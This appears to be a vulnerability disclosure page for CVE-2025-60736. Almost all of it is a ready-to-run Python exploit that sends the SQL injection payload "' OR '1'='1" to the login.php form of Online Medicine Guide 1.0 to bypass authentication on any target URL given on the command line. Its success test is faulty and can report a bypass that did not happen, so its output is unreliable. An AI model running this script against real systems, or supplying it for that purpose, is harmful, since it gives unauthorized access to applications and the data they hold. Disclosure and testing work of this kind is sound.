CVE-2025-60736: Online Medicine Guide 1.0 login.php SQL注入漏洞

import requests import sys # CVE-2025-60736 SQL Injection PoC # Target: code-projects Online Medicine Guide 1.0 # Vulnerability: SQL Injection in /login.php via upass parameter def exploit_sqli(target_url): """ SQL Injection exploit for CVE-2025-60736 This PoC demonstrates authentication bypass using SQL injection """ login_url = f"{target_url}/login.php" # Normal login attempt (for reference) normal_data = { 'uname': 'admin', 'upass': 'password' } # SQL Injection payload - bypass authentication # Using OR-based injection to bypass password check sqli_payload = { 'uname': 'admin', 'upass': "' OR '1'='1" } print(f"[*] Target: {target_url}") print(f"[*] Exploiting CVE-2025-60736: SQL Injection in login.php") # Try SQL injection try: response = requests.post(login_url, data=sqli_payload, timeout=10) print(f"[+] Sent SQL injection payload: {sqli_payload['upass']}") print(f"[+] Response status: {response.status_code}") if 'login' not in response.text.lower() or 'failed' not in response.text.lower(): print("[+] Authentication bypass successful!") print("[+] Attacker can gain unauthorized access to the system") else: print("[-] Exploitation may require payload adjustment") except requests.exceptions.RequestException as e: print(f"[-] Error: {e}") if __name__ == "__main__": if len(sys.argv) < 2: print("Usage: python cve-2025-60736.py <target_url>") print("Example: python cve-2025-60736.py http://localhost/medicine") sys.exit(1) target = sys.argv[1].rstrip('/') exploit_sqli(target)